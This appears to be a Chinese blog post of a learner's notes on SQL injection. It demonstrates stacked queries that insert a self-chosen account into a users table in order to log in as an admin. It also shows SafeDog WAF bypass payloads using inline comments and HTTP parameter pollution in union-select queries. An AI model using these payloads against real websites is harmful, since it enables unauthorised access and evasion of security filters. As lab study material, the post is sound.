1、堆叠查询注入
stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。在sql语句中以 ; 结束语句mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | 123456 |
| 15 | admin4'# | 123123 |
+----+----------+------------+
查询前
mysql> insert into users(id,username,password) values(9,'zhixi666',123);select * from users;
Query OK, 1 row affected (0.00 sec)
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 9 | zhixi666 | 123 |
| 8 | admin | 123 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | 123456 |
| 15 | admin4'# | 123123 |
+----+----------+------------+
查询后,语句先插入一条用户信息,再查询。
堆叠注入的用法:
#注入需要管理员的账号密码,密码是加密的,无法解密
#堆叠注入在用户表中插入数据,用户密码自定义可以无需解密实施登录
2.WAF
部署好安全狗后,尝试注入被拦截
这里将后台修改提交方式为request,采用post提交
页面显示正常,尝试联合注入
这里想获取数据库但被拦截了,利用mysql数据库特性,绕过
id=-1 union select 1,database/**/(),3
http参数污染
利用参数污染来导致网站和安全狗接受数据的不一致性,实现绕过的操作。
当get方式进行传参时,经过&符号传入多个参数,WAF可能只检测第一个参数的值,然后台却检测最后一个传入的值,此时能够绕过WAF的防护
?id=1/**&id=-1 union select 1,database(),3 #*/
安全狗收到的: 1/**&id=-1 union select 1,database(),3 #*/
被注释,没法执行,安全狗会忽略
网站收到的: -1 union select 1,database(),3 #*/
被带入执行,但现在已经无法绕过了。。
很多的绕过方法都没有成功,下面不在演示,等到复习的时候在深入了解
标签:WEB,WAF,堆叠,+----+----------+------------+,id,select,注入 From: https://www.cnblogs.com/Zx770/p/17448305.html